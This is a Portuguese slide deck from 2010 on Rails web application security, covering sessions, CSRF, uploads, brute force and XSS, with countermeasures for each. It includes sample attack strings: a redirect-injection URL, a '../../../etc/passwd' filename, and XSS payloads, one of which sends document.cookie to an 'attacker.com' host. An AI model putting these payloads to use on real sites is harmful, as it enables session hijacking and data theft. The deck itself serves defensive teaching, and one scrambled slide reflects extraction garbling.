8. Curi.ba,
PR
Joinville,
SC
quinta-feira, 28 de janeiro de 2010
9. São
Paulo,
SP
Curi.ba,
PR
Joinville,
SC
quinta-feira, 28 de janeiro de 2010
10. Benguela,
Angola
São
Paulo,
SP
Curi.ba,
PR
Joinville,
SC
quinta-feira, 28 de janeiro de 2010
11. ra
ut
ss
o
az
iro
od
dr
du
la
ov
el
an
te
zo
dr
ha
d
n
on
ca
ev
an
rri
za
ac
fra
jm
ed
ev
ga
gil
m
@
@
@
@
@
@
@
@p @r @j @p @m @a
at ob ack ita sp i ne
ric ert so n gor aze lize
kes oe rov asg
pa sp i ina g ra
ke nh
a
quinta-feira, 28 de janeiro de 2010
13. Sessões
• HTTP é um protocolo stateless
• Sessão é identificada por um cookie
(contendo uma identificação e um hash)
• Enviado do servidor para o cliente, e do
cliente para o servidor
quinta-feira, 28 de janeiro de 2010
16. Roubo de Sessão
• Roubo de um arquivo de cookie por um
“atacante”
• Permite que o atacante aja em nome da vítima
quinta-feira, 28 de janeiro de 2010
17. Como uma sessão pode ser
roubada?
Roubo Como combater?
quinta-feira, 28 de janeiro de 2010
18. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede
quinta-feira, 28 de janeiro de 2010
19. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
quinta-feira, 28 de janeiro de 2010
20. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores
“públicos”
quinta-feira, 28 de janeiro de 2010
21. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores Botão “logout”,
“públicos” expirar sessão
quinta-feira, 28 de janeiro de 2010
22. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores Botão “logout”,
“públicos” expirar sessão
Session Fixation
quinta-feira, 28 de janeiro de 2010
23. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores Botão “logout”,
“públicos” expirar sessão
Session Fixation (mais adiante)
quinta-feira, 28 de janeiro de 2010
24. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores Botão “logout”,
“públicos” expirar sessão
Session Fixation (mais adiante)
XSS
quinta-feira, 28 de janeiro de 2010
25. Como uma sessão pode ser
roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores Botão “logout”,
“públicos” expirar sessão
Session Fixation (mais adiante)
XSS (mais adiante)
quinta-feira, 28 de janeiro de 2010
26. Dica:
Nunca armazene objetos
grandes em uma sessão.
quinta-feira, 28 de janeiro de 2010
27. Dica:
Nunca armazene
informações críticas
em uma sessão.
quinta-feira, 28 de janeiro de 2010
28. Como uma sessão é
armazenada?
quinta-feira, 28 de janeiro de 2010
29. Como uma sessão é
armazenada?
• ActiveRecordStore: armazena no
banco de dados (tabela “sessions”)
• CookieStore: armazena em um cookie
do usuário
quinta-feira, 28 de janeiro de 2010
31. Replay Attack no
CookieStore
quinta-feira, 28 de janeiro de 2010
32. Replay Attack no
CookieStore
1. Usuário ativa um cupom de presente na sua loja
online, ficando com R$50 de crédito (armazenado
na sessão)
quinta-feira, 28 de janeiro de 2010
33. Replay Attack no
CookieStore
1. Usuário ativa um cupom de presente na sua loja
online, ficando com R$50 de crédito (armazenado
na sessão)
2. Usuário compra algo custando R$40
quinta-feira, 28 de janeiro de 2010
34. Replay Attack no
CookieStore
1. Usuário ativa um cupom de presente na sua loja
online, ficando com R$50 de crédito (armazenado
na sessão)
2. Usuário compra algo custando R$40
3. Sessão agora armazena que usuário tem R$10
quinta-feira, 28 de janeiro de 2010
35. Replay Attack no
CookieStore
1. Usuário ativa um cupom de presente na sua loja
online, ficando com R$50 de crédito (armazenado
na sessão)
2. Usuário compra algo custando R$40
3. Sessão agora armazena que usuário tem R$10
4. Usuário sobreescreve a sessão atual pela sessão
inicial, ficando com R$50 novamente
quinta-feira, 28 de janeiro de 2010
39. Como combater
Session Fixation?
Utilize reset_session ao realizar login e/ou
armazenar algo do usuário (como IP ou
navegador).
quinta-feira, 28 de janeiro de 2010
41. Expirando sessões
• Expire-as de tempo em tempo (com base
no updated_at e no created_at)
• Um simples rake no crontab já resolve
quinta-feira, 28 de janeiro de 2010
43. CSRF
• Cross-Site Request Forgery
• Trata-se de aproveitar da sessão de um
usuário, forçando-o (muitas vezes sem
saber) a realizar determinada ação
quinta-feira, 28 de janeiro de 2010
45. Como combater CSRF?
Utilize os métodos HTTP da maneira correta
(GET e POST, obrigatoriamente; e PUT e
DELETE se possível)
quinta-feira, 28 de janeiro de 2010
48. Como combater CSRF?
• Utilize os métodos HTTP da maneira
correta (GET e POST, obrigatoriamente; e
PUT e DELETE se possível)
• Utilize um token
quinta-feira, 28 de janeiro de 2010
49. Como combater CSRF?
• Utilize os métodos HTTP da maneira
correta (GET e POST, obrigatoriamente; e
PUT e DELETE se possível)
• Utilize um token
quinta-feira, 28 de janeiro de 2010
50. Injeção em
Redirecionamentos
quinta-feira, 28 de janeiro de 2010
51. Injeção em
Redirecionamentos
http://www.example.com/site/legacy?
param1=xy¶m2=23&
host=www.attacker.com
quinta-feira, 28 de janeiro de 2010
52. Como combater injeções
em Redirecionamentos?
Não aceite URLs (ou partes dela)
como parâmetro.
quinta-feira, 28 de janeiro de 2010
54. Uploads de arquivos
• Algumas (várias?) aplicações aceitam
uploads, recebendo um arquivo e um nome
de arquivo.
• Se você armazena os arquivos em /var/
www/uploads, imagine se alguém fizer
upload de um arquivo chamado
../../../etc/passwd ?
quinta-feira, 28 de janeiro de 2010
55. Como combater uploads
maliciosos?
Evite receber o nome do arquivo, ou crie um
filtro com expressão regular.
quinta-feira, 28 de janeiro de 2010
57. DoS por uploads
• Se seu site processa arquivos (como
imagens, gerando miniaturas), nunca faça-o
sincronamente.
• Imagine alguém enviando milhares de
arquivos ao mesmo tempo?
quinta-feira, 28 de janeiro de 2010
58. Como combater DoS
por uploads?
Processe arquivos assincronamente (em um
daemon ou em um cron); se possível, até em
uma máquina separada.
quinta-feira, 28 de janeiro de 2010
60. Upload de executáveis
• Você terá problemas se armazenar seus
arquivos em algum local "autorizado" a
executar executáveis (como .CGI no
Apache Document Directory do seu Virtual
Host)
quinta-feira, 28 de janeiro de 2010
61. Como combater DoS
por uploads?
Simplesmente tenha certeza que seu servidor
web não está executando arquivos naquele
diretório.
quinta-feira, 28 de janeiro de 2010
62. Downloads não
autorizados
quinta-feira, 28 de janeiro de 2010
63. Downloads não
autorizados
• Evite que os usuários "escolham" o que
querem baixar, como em:
quinta-feira, 28 de janeiro de 2010
64. Downloads não
autorizados
• Evite que os usuários "escolham" o que
querem baixar, como em:
quinta-feira, 28 de janeiro de 2010
66. Como combater downloads
não autorizados?
Opcionalmente, armazene o nome do
arquivo no banco de dados, identificando-
o para o usuário através de um id.
quinta-feira, 28 de janeiro de 2010
68. Mass Assignment
• Você sabia que o "script/generate scaffold"
não gera o código mais completo e seguro
do mundo? :)
quinta-feira, 28 de janeiro de 2010
73. Força bruta no
login do usuário
quinta-feira, 28 de janeiro de 2010
74. Como combater ataque
de força bruta?
CAPTCH depois de determinadas tentativas
falhas de login.
Utilize uma mensagem de erro genérica, como
“usuário OU senha inválido, tente novamente”.
quinta-feira, 28 de janeiro de 2010
76. Hijacks diversos
• Senhas: requira que o usuário digite a antiga
senha para conseguir mudar.
quinta-feira, 28 de janeiro de 2010
77. Hijacks diversos
• Senhas: requira que o usuário digite a antiga
senha para conseguir mudar.
• Email: requira que o usuário digite a antiga
senha para conseguir mudar
quinta-feira, 28 de janeiro de 2010
78. Hijacks diversos
• Senhas: requira que o usuário digite a antiga
senha para conseguir mudar.
• Email: requira que o usuário digite a antiga
senha para conseguir mudar
• Outros: lembra do “problema” do GMail?
quinta-feira, 28 de janeiro de 2010
92. Whitelist rula!
• before_filter :only => [...] ao invés de
before_filter :except => [...]
quinta-feira, 28 de janeiro de 2010
93. Whitelist rula!
• before_filter :only => [...] ao invés de
before_filter :except => [...]
• attr_accessible ao invés de attr_protected
quinta-feira, 28 de janeiro de 2010
94. Whitelist rula!
• before_filter :only => [...] ao invés de
before_filter :except => [...]
• attr_accessible ao invés de attr_protected
• Permita somente <strong> ao invés de
remover <script>
quinta-feira, 28 de janeiro de 2010
101. XSS
• Cross Site Scripting
• Atualmente é o tipo de ataque mais comum,
segundo a Symantec Global Internet Security
Threat Report.
• Mais de 510.000 sites tiveram este tipo de
ataque só em abril de 2008.
• Diversas ferramentas para auxiliar estes
ataques, como o MPack.
quinta-feira, 28 de janeiro de 2010
103. XSS: Injeção JavaScript
<script>alert('Hello');</script>
<table background="javascript:alert('Hello')">
quinta-feira, 28 de janeiro de 2010
104. XSS: Roubo de Cookie
quinta-feira, 28 de janeiro de 2010
105. XSS: Roubo de Cookie
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://
www.attacker.com/' + document.cookie + '">');</script>
quinta-feira, 28 de janeiro de 2010
107. XSS: Defacement
<iframe name=”StatPage” src="http://58.xx.xxx.xxx"
width=5 height=5 style=”display:none”></iframe>
quinta-feira, 28 de janeiro de 2010
108. Como combater estes
ataques XSS?
Limpe a “entrada” do usuário com o método
sanatize.
quinta-feira, 28 de janeiro de 2010
109. Como combater estes
ataques XSS?
Limpe a “entrada” do usuário com o método
sanatize.
Limpe a “saída” (impressão) com escapeHTML
(), também chamado de h().
quinta-feira, 28 de janeiro de 2010
110. Como combater estes
ataques XSS?
Limpe a “entrada” do usuário com o método
sanatize.
Limpe a “saída” (impressão) com escapeHTML
(), também chamado de h().
<%=h @user.name %>
quinta-feira, 28 de janeiro de 2010
112. XSS: Injeção CSS
background:url('javascript:alert(1)')
quinta-feira, 28 de janeiro de 2010
113. Como combater estes
ataque XSS de injeção CSS?
Evite CSS personalizado.
quinta-feira, 28 de janeiro de 2010
114. Dicas sobre a interface
administrativa
quinta-feira, 28 de janeiro de 2010
115. Dicas sobre a interface
administrativa
• Coloque-a em um subdomínio distinto,
como admin.campusparty.com.br. Isso evita
truques com Cookies.
quinta-feira, 28 de janeiro de 2010
116. Dicas sobre a interface
administrativa
• Coloque-a em um subdomínio distinto,
como admin.campusparty.com.br. Isso evita
truques com Cookies.
• Se possível, limite o acesso administrativo a
um número restritos de IP (ou a uma faixa).
quinta-feira, 28 de janeiro de 2010
117. Dicas sobre a interface
administrativa
• Coloque-a em um subdomínio distinto,
como admin.campusparty.com.br. Isso evita
truques com Cookies.
• Se possível, limite o acesso administrativo a
um número restritos de IP (ou a uma faixa).
• Que tal uma senha especial para ações
importantes, como deletar usuários?
quinta-feira, 28 de janeiro de 2010